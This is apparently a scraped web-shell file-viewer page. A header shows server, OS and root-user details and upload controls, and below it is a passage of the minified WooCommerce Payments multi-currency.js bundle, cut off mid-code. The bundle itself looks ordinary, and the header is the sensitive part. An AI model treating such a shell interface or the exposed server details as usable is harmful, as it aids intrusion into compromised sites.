HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /var/www/html/sample/wp-content/plugins/woocommerce-payments/dist/multi-currency.js
/*! For license information please see multi-currency.js.LICENSE.txt */
(()=>{var e={4184:(e,t)=>{var r;!function(){"use strict";var n={}.hasOwnProperty;function o(){for(var e=[],t=0;t<arguments.length;t++){var r=arguments[t];if(r){var a=typeof r;if("string"===a||"number"===a)e.push(r);else if(Array.isArray(r)){if(r.length){var i=o.apply(null,r);i&&e.push(i)}}else if("object"===a)if(r.toString===Object.prototype.toString)for(var s in r)n.call(r,s)&&r[s]&&e.push(s);else e.push(r.toString())}}return e.join(" ")}e.exports?(o.default=o,e.exports=o):void 0===(r=function(){return o}.apply(t,[]))||(e.exports=r)}()},737:(e,t,r)=>{"use strict";t.Z=function(e){var t=e.size,r=void 0===t?24:t,n=e.onClick,s=(e.icon,e.className),c=function(e,t){if(null==e)return{};var r,n,o=function(e,t){if(null==e)return{};var r,n,o={},a=Object.keys(e);for(n=0;n<a.length;n++)r=a[n],0<=t.indexOf(r)||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n<a.length;n++)r=a[n],0<=t.indexOf(r)||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}(e,a),l=["gridicon","gridicons-cross-circle",s,!1,!1,!1].filter(Boolean).join(" ");return o.default.createElement("svg",i({className:l,height:r,width:r,onClick:n},c,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"}),o.default.createElement("g",null,o.default.createElement("path",{d:"M19.1 4.9C15.2 1 8.8 1 4.9 4.9S1 15.2 4.9 19.1s10.2 3.9 14.1 0 4-10.3.1-14.2zm-4.3 11.3L12 13.4l-2.8 2.8-1.4-1.4 2.8-2.8-2.8-2.8 1.4-1.4 2.8 2.8 2.8-2.8 1.4 1.4-2.8 2.8 2.8 2.8-1.4 1.4z"})))};var n,o=(n=r(9196))&&n.__esModule?n:{default:n},a=["size","onClick","icon","className"];function i(){return i=Object.assign?Object.assign.bind():function(e){for(var t,r=1;r<arguments.length;r++)for(var n in t=arguments[r])Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n]);return e},i.apply(this,arguments)}},7132:(e,t,r)=>{"use strict";t.Z=function(e){var t=e.size,r=void 0===t?24:t,n=e.onClick,s=(e.icon,e.className),c=function(e,t){if(null==e)return{};var r,n,o=function(e,t){if(null==e)return{};var r,n,o={},a=Object.keys(e);for(n=0;n<a.length;n++)r=a[n],0<=t.indexOf(r)||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n<a.length;n++)r=a[n],0<=t.indexOf(r)||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}(e,a),l=["gridicon","gridicons-info-outline",s,!!function(e){return 0==e%18}(r)&&"needs-offset",!1,!1].filter(Boolean).join(" ");return o.default.createElement("svg",i({className:l,height:r,width:r,onClick:n},c,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"}),o.default.createElement("g",null,o.default.createElement("path",{d:"M13 9h-2V7h2v2zm0 2h-2v6h2v-6zm-1-7c-4.411 0-8 3.589-8 8s3.589 8 8 8 8-3.589 8-8-3.589-8-8-8m0-2c5.523 0 10 4.477 10 10s-4.477 10-10 10S2 17.523 2 12 6.477 2 12 2z"})))};var n,o=(n=r(9196))&&n.__esModule?n:{default:n},a=["size","onClick","icon","className"];function i(){return i=Object.assign?Object.assign.bind():function(e){for(var t,r=1;r<arguments.length;r++)for(var n in t=arguments[r])Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n]);return e},i.apply(this,arguments)}},8679:(e,t,r)=>{"use strict";var n=r(1296),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},a={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},i={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},s={};function c(e){return n.isMemo(e)?i:s[e.$$typeof]||o}s[n.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0},s[n.Memo]=i;var l=Object.defineProperty,u=Object.getOwnPropertyNames,d=Object.getOwnPropertySymbols,m=Object.getOwnPropertyDescriptor,p=Object.getPrototypeOf,y=Object.prototype;e.exports=function e(t,r,n){if("string"!=typeof r){if(y){var o=p(r);o&&o!==y&&e(t,o,n)}var i=u(r);d&&(i=i.concat(d(r)));for(var s=c(t),f=c(r),_=0;_<i.length;++_){var h=i[_];if(!(a[h]||n&&n[h]||f&&f[h]||s&&s[h])){var g=m(r,h);try{l(t,h,g)}catch(e){}}}}return t}},6103:(e,t)=>{"use strict";var r="function"==typeof Symbol&&Symbol.for,n=r?Symbol.for("react.element"):60103,o=r?Symbol.for("react.portal"):60106,a=r?Symbol.for("react.fragment"):60107,i=r?Symbol.for("react.strict_mode"):60108,s=r?Symbol.for("react.profiler"):60114,c=r?Symbol.for("react.provider"):60109,l=r?Symbol.for("react.context"):60110,u=r?Symbol.for("react.async_mode"):60111,d=r?Symbol.for("react.concurrent_mode"):60111,m=r?Symbol.for("react.forward_ref"):60112,p=r?Symbol.for("react.suspense"):60113,y=r?Symbol.for("react.suspense_list"):60120,f=r?Symbol.for("react.memo"):60115,_=r?Symbol.for("react.lazy"):60116,h=r?Symbol.for("react.block"):60121,g=r?Symbol.for("react.fundamental"):60117,b=r?Symbol.for("react.responder"):60118,E=r?Symbol.for("react.scope"):60119;function v(e){if("object"==typeof e&&null!==e){var t=e.$$typeof;switch(t){case n:switch(e=e.type){case u:case d:case a:case s:case i:case p:return e;default:switch(e=e&&e.$$typeof){case l:case m:case _:case f:case c:return e;default:return t}}case o:return t}}}function w(e){return v(e)===d}t.AsyncMode=u,t.ConcurrentMode=d,t.ContextConsumer=l,t.ContextProvider=c,t.Element=n,t.ForwardRef=m,t.Fragment=a,t.Lazy=_,t.Memo=f,t.Portal=o,t.Profiler=s,t.StrictMode=i,t.Suspense=p,t.isAsyncMode=function(e){return w(e)||v(e)===u},t.isConcurrentMode=w,t.isContextConsumer=function(e){return v(e)===l},t.isContextProvider=function(e){return v(e)===c},t.isElement=function(e){return"object"==typeof e&&null!==e&&e.$$typeof===n},t.isForwardRef=function(e){return v(e)===m},t.isFragment=function(e){return v(e)===a},t.isLazy=function(e){return v(e)===_},t.isMemo=function(e){return v(e)===f},t.isPortal=function(e){return v(e)===o},t.isProfiler=function(e){return v(e)===s},t.isStrictMode=function(e){return v(e)===i},t.isSuspense=function(e){return v(e)===p},t.isValidElementType=function(e){return"string"==typeof e||"function"==typeof e||e===a||e===d||e===s||e===i||e===p||e===y||"object"==typeof e&&null!==e&&(e.$$typeof===_||e.$$typeof===f||e.$$typeof===c||e.$$typeof===l||e.$$typeof===m||e.$$typeof===g||e.$$typeof===b||e.$$typeof===E||e.$$typeof===h)},t.typeOf=v},1296:(e,t,r)=>{"use strict";e.exports=r(6103)},9588:e=>{e.exports=function(e,t){var r,n,o=0;function a(){var a,i,s=r,c=arguments.length;e:for(;s;){if(s.args.length===arguments.length){for(i=0;i<c;i++)if(s.args[i]!==arguments[i]){s=s.next;continue e}return s!==r&&(s===n&&(n=s.prev),s.prev.next=s.next,s.next&&(s.next.prev=s.prev),s.next=r,s.prev=null,r.prev=s,r=s),s.val}s=s.next}for(a=new Array(c),i=0;i<c;i++)a[i]=arguments[i];return s={args:a,val:e.apply(null,a)},r?(r.prev=s,s.next=r):n=s,o===t.maxSize?(n=n.prev).next=null:o++,r=s,s.val}return t=t||{},a.clear=function(){r=null,n=null,o=0},a}},4155:e=>{var t,r,n=e.exports={};function o(){throw new Error("setTimeout has not been defined")}function a(){throw new Error("clearTimeout has not been defined")}function i(e){if(t===setTimeout)return setTimeout(e,0);if((t===o||!t)&&setTimeout)return t=setTimeout,setTimeout(e,0);try{return t(e,0)}catch(r){try{return t.call(null,e,0)}catch(r){return t.call(this,e,0)}}}!function(){try{t="function"==typeof setTimeout?setTimeout:o}catch(e){t=o}try{r="function"==typeof clearTimeout?clearTimeout:a}catch(e){r=a}}();var s,c=[],l=!1,u=-1;function d(){l&&s&&(l=!1,s.length?c=s.concat(c):u=-1,c.length&&m())}function m(){if(!l){var e=i(d);l=!0;for(var t=c.length;t;){for(s=c,c=[];++u<t;)s&&s[u].run();u=-1,t=c.length}s=null,l=!1,function(e){if(r===clearTimeout)return clearTimeout(e);if((r===a||!r)&&clearTimeout)return r=clearTimeout,clearTimeout(e);try{return r(e)}catch(t){try{return r.call(null,e)}catch(t){return r.call(this,e)}}}(e)}}function p(e,t){this.fun=e,this.array=t}function y(){}n.nextTick=function(e){var t=new Array(arguments.length-1);if(arguments.length>1)for(var r=1;r<arguments.length;r++)t[r-1]=arguments[r];c.push(new p(e,t)),1!==c.length||l||i(m)},p.prototype.run=function(){this.fun.apply(null,this.array)},n.title="browser",n.browser=!0,n.env={},n.argv=[],n.version="",n.versions={},n.on=y,n.addListener=y,n.once=y,n.off=y,n.removeListener=y,n.removeAllListeners=y,n.emit=y,n.prependListener=y,n.prependOnceListener=y,n.listeners=function(e){return[]},n.binding=function(e){throw new Error("process.binding is not supported")},n.cwd=function(){return"/"},n.chdir=function(e){throw new Error("process.chdir is not supported")},n.umask=function(){return 0}},2722:(e,t,r)=>{"use strict";e.exports=r.p+"../assets/images/logo.svg?ver=cc343b18b042f1622414"},2851:(e,t,r)=>{"use strict";e.exports=r.p+"../assets/images/payment-methods/affirm.svg?ver=5d095235b7593ca0b113"},1274:(e,t,r)=>{"use strict";e.exports=r.p+"../assets/images/payment-methods/afterpay.svg?ver=c51ef44ff1b98afeb3a6"},1270:(e,t,r)=>{"use strict";e.exports=r.p+"../assets/images/payment-methods/bancontact.svg?ver=01da5b655c8dab153681"},5962:(e,t,r)=>{"use strict";e.exports=r.p+"../assets/images/payment-methods/bank-debit.svg?ver=0f2c1edb8e24ccdcb3b1"},7884:(e,t,r)=>{"use strict";e.exports=r.p+"../assets/images/payment-methods/cc.svg?ver=602e34f0419beba29178"},7077:(e,t,r)=>{"use strict";e.exports=r.p+"../assets/images/payment-methods/eps.svg?ver=5b37b9a5ce447e679dee"},6120:(e,t,r)=>{"use strict";e.exports=r.p+"../assets/images/payment-methods/giropay.svg?ver=e0f29903f83fbaf41b25"},3116:(e,t,r)=>{"use strict";e.exports=r.p+"../assets/images/payment-methods/ideal.svg?ver=80df68e91dcac6f1682e"},6752:(e,t,r)=>{"use strict";e.exports=r.p+"../assets/images/payment-methods/jcb.svg?ver=51ac9d1011c2b5333d25"},725:(e,t,r)=>{"use strict";e.exports=r.p+"../assets/images/payment-methods/p24.svg?ver=fe17a3ce40770c6b8bbc"},8125:(e,t,r)=>{"use strict";e.exports=r.p+"../assets/images/payment-methods/sepa-debit.svg?ver=16334c6f3f930919fd84"},3516:(e,t,r)=>{"use strict";e.exports=r.p+"../assets/images/payment-methods/sofort.svg?ver=bffebdefadb4aff20ed6"},9196:e=>{"use strict";e.exports=window.React}},t={};function r(n){var o=t[n];if(void 0!==o)return o.exports;var a=t[n]={exports:{}};return e[n](a,a.exports,r),a.exports}r.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return r.d(t,{a:t}),t},r.d=(e,t)=>{for(var n in t)r.o(t,n)&&!r.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},r.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),r.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(()=>{var e;r.g.importScripts&&(e=r.g.location+"");var t=r.g.document;if(!e&&t&&(t.currentScript&&(e=t.currentScript.src),!e)){var n=t.getElementsByTagName("script");n.length&&(e=n[n.length-1].src)}if(!e)throw new Error("Automatic publicPath is not supported in this browser");e=e.replace(/#.*$/,"").replace(/\?.*$/,"").replace(/\/[^\/]+$/,"/"),r.p=e})(),r.p=window.wcpayAssets.url,(()=>{"use strict";var e={};r.r(e),r.d(e,{getAllDepositsOverviews:()=>_o,getAllDepositsOverviewsError:()=>ho,getDeposit:()=>po,getDepositQueryError:()=>vo,getDeposits:()=>bo,getDepositsCount:()=>Eo,getDepositsOverview:()=>yo,getDepositsOverviewError:()=>fo,getDepositsSummary:()=>So,getDepositsSummaryError:()=>To,getInstantDeposit:()=>Ro});var t={};r.r(t),r.d(t,{submitInstantDeposit:()=>Qo,updateAllDepositsOverviews:()=>zo,updateDeposit:()=>Uo,updateDeposits:()=>Yo,updateDepositsCount:()=>Ho,updateDepositsOverview:()=>Bo,updateDepositsSummary:()=>Wo,updateErrorForAllDepositsOverviews:()=>jo,updateErrorForDepositQuery:()=>Vo,updateErrorForDepositsOverview:()=>$o,updateErrorForDepositsSummary:()=>qo,updateInstantDeposit:()=>Go});var n={};r.r(n),r.d(n,{getAllDepositsOverviews:()=>Xo,getDeposit:()=>Zo,getDeposits:()=>ta,getDepositsCSV:()=>ea,getDepositsOverview:()=>Ko,getDepositsSummary:()=>ra});var o={};r.r(o),r.d(o,{getFraudOutcomeTransactions:()=>pa,getFraudOutcomeTransactionsError:()=>ya,getFraudOutcomeTransactionsSummary:()=>_a,getFraudOutcomeTransactionsSummaryError:()=>ha,getTransactions:()=>sa,getTransactionsError:()=>ca,getTransactionsSummary:()=>ua,getTransactionsSummaryError:()=>da});var a={};r.r(a),r.d(a,{updateErrorForFraudOutcomeTransactions:()=>Sa,updateErrorForFraudOutcomeTransactionsSummary:()=>Ra,updateErrorForTransactions:()=>ba,updateErrorForTransactionsSummary:()=>va,updateFraudOutcomeTransactions:()=>wa,updateFraudOutcomeTransactionsSummary:()=>Ta,updateTransactions:()=>ga,updateTransactionsSummary:()=>Ea});var i={};r.r(i),r.d(i,{formatQueryFilters:()=>Oa,getFraudOutcomeTransactions:()=>Ia,getFraudOutcomeTransactionsExport:()=>xa,getFraudOutcomeTransactionsSummary:()=>ka,getTransactions:()=>Ca,getTransactionsCSV:()=>Aa,getTransactionsSummary:()=>Na});var s={};r.r(s),r.d(s,{getCharge:()=>Pa,getChargeError:()=>Ma,getChargeFromOrder:()=>Fa,getChargeFromOrderError:()=>La});var c={};r.r(c),r.d(c,{updateCharge:()=>Ua,updateErrorForCharge:()=>Ba});var l={};r.r(l),r.d(l,{getCharge:()=>$a,getChargeFromOrder:()=>za});var u={};r.r(u),r.d(u,{getTimeline:()=>Ya,getTimelineError:()=>Ha});var d={};r.r(d),r.d(d,{updateErrorForTimeline:()=>Wa,updateTimeline:()=>Va});var m={};r.r(m),r.d(m,{getTimeline:()=>qa});var p={};r.r(p),r.d(p,{getCachedDispute:()=>Xa,getDispute:()=>Ka,getDisputes:()=>Ja,getDisputesSummary:()=>ei});var y={};r.r(y),r.d(y,{acceptDispute:()=>li,updateDispute:()=>ii,updateDisputes:()=>si,updateDisputesSummary:()=>ci});var f={};r.r(f),r.d(f,{getDispute:()=>mi,getDisputes:()=>pi,getDisputesCSV:()=>di,getDisputesSummary:()=>yi});var _={};r.r(_),r.d(_,{getAccountBrandingLogo:()=>Hi,getAccountBusinessName:()=>Di,getAccountBusinessSupportAddress:()=>Mi,getAccountBusinessSupportAddressCity:()=>Bi,getAccountBusinessSupportAddressCountry:()=>Fi,getAccountBusinessSupportAddressLine1:()=>Li,getAccountBusinessSupportAddressLine2:()=>Ui,getAccountBusinessSupportAddressPostalCode:()=>zi,getAccountBusinessSupportAddressState:()=>$i,getAccountBusinessSupportEmail:()=>ji,getAccountBusinessSupportPhone:()=>Yi,getAccountBusinessURL:()=>Pi,getAccountDomesticCurrency:()=>Vi,getAccountStatementDescriptor:()=>xi,getAdvancedFraudProtectionSettings:()=>Es,getAvailablePaymentMethodIds:()=>Ni,getCompletedWaitingPeriod:()=>Zi,getCurrentProtectionLevel:()=>bs,getDepositDelayDays:()=>Qi,getDepositRestrictions:()=>Xi,getDepositScheduleInterval:()=>Wi,getDepositScheduleMonthlyAnchor:()=>Gi,getDepositScheduleWeeklyAnchor:()=>qi,getDepositStatus:()=>Ki,getEnabledPaymentMethodIds:()=>Ai,getIsCardPresentEligible:()=>ds,getIsClientSecretEncryptionEnabled:()=>Ci,getIsDebugLogEnabled:()=>ns,getIsDevModeEnabled:()=>ts,getIsManualCaptureEnabled:()=>Ji,getIsMultiCurrencyEnabled:()=>os,getIsPaymentRequestEnabled:()=>rs,getIsSavedCardsEnabled:()=>ls,getIsSubscriptionsPluginActive:()=>ys,getIsTestModeEnabled:()=>es,getIsWCPayEnabled:()=>Oi,getIsWCPaySubscriptionsEligible:()=>ps,getIsWCPaySubscriptionsEnabled:()=>ms,getIsWooPayEnabled:()=>fs,getPaymentMethodStatuses:()=>Ii,getPaymentRequestButtonSize:()=>ss,getPaymentRequestButtonTheme:()=>cs,getPaymentRequestButtonType:()=>is,getPaymentRequestLocations:()=>as,getSavingError:()=>us,getSettings:()=>Ti,getShowWooPayIncompatibilityNotice:()=>vs,getWooPayCustomMessage:()=>_s,getWooPayLocations:()=>gs,getWooPayStoreLogo:()=>hs,isSavingSettings:()=>ki});var h={};r.r(h),r.d(h,{saveSettings:()=>Xs,updateAccountBrandingLogo:()=>Gs,updateAccountBusinessName:()=>Ys,updateAccountBusinessSupportAddress:()=>Vs,updateAccountBusinessSupportEmail:()=>Ws,updateAccountBusinessSupportPhone:()=>qs,updateAccountBusinessURL:()=>Hs,updateAccountStatementDescriptor:()=>js,updateAdvancedFraudProtectionSettings:()=>ac,updateAvailablePaymentMethodIds:()=>Ds,updateDepositScheduleInterval:()=>Qs,updateDepositScheduleMonthlyAnchor:()=>Ks,updateDepositScheduleWeeklyAnchor:()=>Zs,updateEnabledPaymentMethodIds:()=>xs,updateIsCardPresentEligible:()=>Ts,updateIsClientSecretEncryptionEnabled:()=>Rs,updateIsDebugLogEnabled:()=>Bs,updateIsManualCaptureEnabled:()=>Ls,updateIsMultiCurrencyEnabled:()=>$s,updateIsPaymentRequestEnabled:()=>ks,updateIsSavedCardsEnabled:()=>Ss,updateIsSavingSettings:()=>Ps,updateIsTestModeEnabled:()=>Us,updateIsWCPayEnabled:()=>Is,updateIsWCPaySubscriptionsEnabled:()=>zs,updateIsWooPayEnabled:()=>ec,updatePaymentRequestButtonSize:()=>Cs,updatePaymentRequestButtonTheme:()=>As,updatePaymentRequestButtonType:()=>Os,updatePaymentRequestLocations:()=>Js,updateProtectionLevel:()=>oc,updateSelectedPaymentMethod:()=>Ms,updateSettings:()=>Ns,updateUnselectedPaymentMethod:()=>Fs,updateWooPayCustomMessage:()=>tc,updateWooPayLocations:()=>nc,updateWooPayStoreLogo:()=>rc});var g={};r.r(g),r.d(g,{getSettings:()=>ic});var b={};r.r(b),r.d(b,{getAvailableCurrencies:()=>dc,getCurrencies:()=>uc,getCurrencySettings:()=>yc,getDefaultCurrency:()=>pc,getEnabledCurrencies:()=>mc,getStoreSettings:()=>fc});var E={};r.r(E),r.d(E,{submitCurrencySettings:()=>Tc,submitEnabledCurrenciesUpdate:()=>Sc,submitStoreSettingsUpdate:()=>Rc,updateAvailableCurrencies:()=>hc,updateCurrencies:()=>_c,updateCurrencySettings:()=>Ec,updateDefaultCurrency:()=>bc,updateEnabledCurrencies:()=>gc,updateStoreSettings:()=>vc});var v={};r.r(v),r.d(v,{getCurrencies:()=>Oc,getCurrencySettings:()=>Cc,getStoreSettings:()=>Ac});var w={};r.r(w),r.d(w,{getCardReaderStats:()=>Pc,getCardReaderStatsError:()=>Mc,getCardReaders:()=>Fc});var S={};r.r(S),r.d(S,{updateCardReaderStats:()=>Lc,updateCardReaders:()=>Uc,updateErrorForCardReaderStats:()=>Bc,updateErrorForCardReaders:()=>$c});var T={};r.r(T),r.d(T,{getCardReaderStats:()=>zc,getCardReaders:()=>jc});var R={};r.r(R),r.d(R,{getActiveLoanSummary:()=>Gc,getActiveLoanSummaryError:()=>Qc,getLoans:()=>Zc,getLoansError:()=>Kc});var O={};r.r(O),r.d(O,{updateActiveLoanSummary:()=>Xc,updateErrorForActiveLoanSummary:()=>Jc,updateErrorForLoans:()=>tl,updateLoans:()=>el});var C={};r.r(C),r.d(C,{getActiveLoanSummary:()=>nl,getLoans:()=>ol});var A={};r.r(A),r.d(A,{getDocuments:()=>ll,getDocumentsError:()=>ul,getDocumentsSummary:()=>ml,getDocumentsSummaryError:()=>pl});var N={};r.r(N),r.d(N,{updateDocuments:()=>yl,updateDocumentsSummary:()=>_l,updateErrorForDocuments:()=>fl,updateErrorForDocumentsSummary:()=>hl});var I={};r.r(I),r.d(I,{formatQueryFilters:()=>gl,getDocuments:()=>bl,getDocumentsSummary:()=>El});var k={};r.r(k),r.d(k,{getPaymentIntent:()=>Rl,getPaymentIntentError:()=>Ol});var x={};r.r(x),r.d(x,{updateErrorForPaymentIntent:()=>Al,updatePaymentIntent:()=>Cl});var D={};r.r(D),r.d(D,{getPaymentIntent:()=>Il});var P={};r.r(P),r.d(P,{getAuthorization:()=>Ll,getAuthorizations:()=>Fl,getAuthorizationsError:()=>Ul,getAuthorizationsSummary:()=>$l,getAuthorizationsSummaryError:()=>zl,getIsRequesting:()=>jl});var M={};r.r(M),r.d(M,{setIsRequestingAuthorization:()=>Gl,submitCancelAuthorization:()=>Zl,submitCaptureAuthorization:()=>Ql,updateAuthorization:()=>Wl,updateAuthorizations:()=>Hl,updateAuthorizationsSummary:()=>ql,updateErrorForAuthorizations:()=>Vl,updateErrorForAuthorizationsSummary:()=>Kl});var F={};r.r(F),r.d(F,{getAuthorization:()=>eu,getAuthorizations:()=>Jl,getAuthorizationsSummary:()=>tu});const L=window.wp.element;var U=r(9196),B=r.n(U);const $=window.ReactDOM;var z=r.n($);const j=window.wp.i18n;function Y(){return Y=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},Y.apply(this,arguments)}var H=!!U.useInsertionEffect&&U.useInsertionEffect,V=H||function(e){return e()};H||U.useLayoutEffect;var W={animationIterationCount:1,aspectRatio:1,borderImageOutset:1,borderImageSlice:1,borderImageWidth:1,boxFlex:1,boxFlexGroup:1,boxOrdinalGroup:1,columnCount:1,columns:1,flex:1,flexGrow:1,flexPositive:1,flexShrink:1,flexNegative:1,flexOrder:1,gridRow:1,gridRowEnd:1,gridRowSpan:1,gridRowStart:1,gridColumn:1,gridColumnEnd:1,gridColumnSpan:1,gridColumnStart:1,msGridRow:1,msGridRowSpan:1,msGridColumn:1,msGridColumnSpan:1,fontWeight:1,lineHeight:1,opacity:1,order:1,orphans:1,tabSize:1,widows:1,zIndex:1,zoom:1,WebkitLineClamp:1,fillOpacity:1,floodOpacity:1,stopOpacity:1,strokeDasharray:1,strokeDashoffset:1,strokeMiterlimit:1,strokeOpacity:1,strokeWidth:1};function q(e){var t=Object.create(null);return function(r){return void 0===t[r]&&(t[r]=e(r)),t[r]}}var G=/[A-Z]|^ms/g,Q=/_EMO_([^_]+?)_([^]*?)_EMO_/g,Z=function(e){return 45===e.charCodeAt(1)},K=function(e){return null!=e&&"boolean"!=typeof e},X=q((function(e){return Z(e)?e:e.replace(G,"-$&").toLowerCase()})),J=function(e,t){switch(e){case"animation":case"animationName":if("string"==typeof t)return t.replace(Q,(function(e,t,r){return te={name:t,styles:r,next:te},t}))}return 1===W[e]||Z(e)||"number"!=typeof t||0===t?t:t+"px"};function ee(e,t,r){if(null==r)return"";if(void 0!==r.__emotion_styles)return r;switch(typeof r){case"boolean":return"";case"object":if(1===r.anim)return te={name:r.name,styles:r.styles,next:te},r.name;if(void 0!==r.styles){var n=r.next;if(void 0!==n)for(;void 0!==n;)te={name:n.name,styles:n.styles,next:te},n=n.next;return r.styles+";"}return function(e,t,r){var n="";if(Array.isArray(r))for(var o=0;o<r.length;o++)n+=ee(e,t,r[o])+";";else for(var a in r){var i=r[a];if("object"!=typeof i)null!=t&&void 0!==t[i]?n+=a+"{"+t[i]+"}":K(i)&&(n+=X(a)+":"+J(a,i)+";");else if(!Array.isArray(i)||"string"!=typeof i[0]||null!=t&&void 0!==t[i[0]]){var s=ee(e,t,i);switch(a){case"animation":case"animationName":n+=X(a)+":"+s+";";break;default:n+=a+"{"+s+"}"}}else for(var c=0;c<i.length;c++)K(i[c])&&(n+=X(a)+":"+J(a,i[c])+";")}return n}(e,t,r);case"function":if(void 0!==e){var o=te,a=r(e);return te=o,ee(e,t,a)}}if(null==t)return r;var i=t[r];return void 0!==i?i:r}var te,re=/label:\s*([^\s;\n{]+)\s*(;|$)/g,ne=function(e,t,r){if(1===e.length&&"object"==typeof e[0]&&null!==e[0]&&void 0!==e[0].styles)return e[0];var n=!0,o="";te=void 0;var a=e[0];null==a||void 0===a.raw?(n=!1,o+=ee(r,t,a)):o+=a[0];for(var i=1;i<e.length;i++)o+=ee(r,t,e[i]),n&&(o+=a[i]);re.lastIndex=0;for(var s,c="";null!==(s=re.exec(o));)c+="-"+s[1];var l=function(e){for(var t,r=0,n=0,o=e.length;o>=4;++n,o-=4)t=1540483477*(65535&(t=255&e.charCodeAt(n)|(255&e.charCodeAt(++n))<<8|(255&e.charCodeAt(++n))<<16|(255&e.charCodeAt(++n))<<24))+(59797*(t>>>16)<<16),r=1540483477*(65535&(t^=t>>>24))+(59797*(t>>>16)<<16)^1540483477*(65535&r)+(59797*(r>>>16)<<16);switch(o){case 3:r^=(255&e.charCodeAt(n+2))<<16;case 2:r^=(255&e.charCodeAt(n+1))<<8;case 1:r=1540483477*(65535&(r^=255&e.charCodeAt(n)))+(59797*(r>>>16)<<16)}return(((r=1540483477*(65535&(r^=r>>>13))+(59797*(r>>>16)<<16))^r>>>15)>>>0).toString(36)}(o)+c;return{name:l,styles:o,next:te}},oe=function(){function e(e){var t=this;this._insertTag=function(e){var r;r=0===t.tags.length?t.insertionPoint?t.insertionPoint.nextSibling:t.prepend?t.container.firstChild:t.before:t.tags[t.tags.length-1].nextSibling,t.container.insertBefore(e,r),t.tags.push(e)},this.isSpeedy=void 0===e.speedy||e.speedy,this.tags=[],this.ctr=0,this.nonce=e.nonce,this.key=e.key,this.container=e.container,this.prepend=e.prepend,this.insertionPoint=e.insertionPoint,this.before=null}var t=e.prototype;return t.hydrate=function(e){e.forEach(this._insertTag)},t.insert=function(e){this.ctr%(this.isSpeedy?65e3:1)==0&&this._insertTag(function(e){var t=document.createElement("style");return t.setAttribute("data-emotion",e.key),void 0!==e.nonce&&t.setAttribute("nonce",e.nonce),t.appendChild(document.createTextNode("")),t.setAttribute("data-s",""),t}(this));var t=this.tags[this.tags.length-1];if(this.isSpeedy){var r=function(e){if(e.sheet)return e.sheet;for(var t=0;t<document.styleSheets.length;t++)if(document.styleSheets[t].ownerNode===e)return document.styleSheets[t]}(t);try{r.insertRule(e,r.cssRules.length)}catch(e){}}else t.appendChild(document.createTextNode(e));this.ctr++},t.flush=function(){this.tags.forEach((function(e){return e.parentNode&&e.parentNode.removeChild(e)})),this.tags=[],this.ctr=0},e}(),ae=Math.abs,ie=String.fromCharCode,se=Object.assign;function ce(e){return e.trim()}function le(e,t,r){return e.replace(t,r)}function ue(e,t){return e.indexOf(t)}function de(e,t){return 0|e.charCodeAt(t)}function me(e,t,r){return e.slice(t,r)}function pe(e){return e.length}function ye(e){return e.length}function fe(e,t){return t.push(e),e}var _e=1,he=1,ge=0,be=0,Ee=0,ve="";function we(e,t,r,n,o,a,i){return{value:e,root:t,parent:r,type:n,props:o,children:a,line:_e,column:he,length:i,return:""}}function Se(e,t){return se(we("",null,null,"",null,null,0),e,{length:-e.length},t)}function Te(){return Ee=be>0?de(ve,--be):0,he--,10===Ee&&(he=1,_e--),Ee}function Re(){return Ee=be<ge?de(ve,be++):0,he++,10===Ee&&(he=1,_e++),Ee}function Oe(){return de(ve,be)}function Ce(){return be}function Ae(e,t){return me(ve,e,t)}function Ne(e){switch(e){case 0:case 9:case 10:case 13:case 32:return 5;case 33:case 43:case 44:case 47:case 62:case 64:case 126:case 59:case 123:case 125:return 4;case 58:return 3;case 34:case 39:case 40:case 91:return 2;case 41:case 93:return 1}return 0}function Ie(e){return _e=he=1,ge=pe(ve=e),be=0,[]}function ke(e){return ve="",e}function xe(e){return ce(Ae(be-1,Me(91===e?e+2:40===e?e+1:e)))}function De(e){for(;(Ee=Oe())&&Ee<33;)Re();return Ne(e)>2||Ne(Ee)>3?"":" "}function Pe(e,t){for(;--t&&Re()&&!(Ee<48||Ee>102||Ee>57&&Ee<65||Ee>70&&Ee<97););return Ae(e,Ce()+(t<6&&32==Oe()&&32==Re()))}function Me(e){for(;Re();)switch(Ee){case e:return be;case 34:case 39:34!==e&&39!==e&&Me(Ee);break;case 40:41===e&&Me(e);break;case 92:Re()}return be}function Fe(e,t){for(;Re()&&e+Ee!==57&&(e+Ee!==84||47!==Oe()););return"/*"+Ae(t,be-1)+"*"+ie(47===e?e:Re())}function Le(e){for(;!Ne(Oe());)Re();return Ae(e,be)}var Ue="-ms-",Be="-moz-",$e="-webkit-",ze="comm",je="rule",Ye="decl",He="@keyframes";function Ve(e,t){for(var 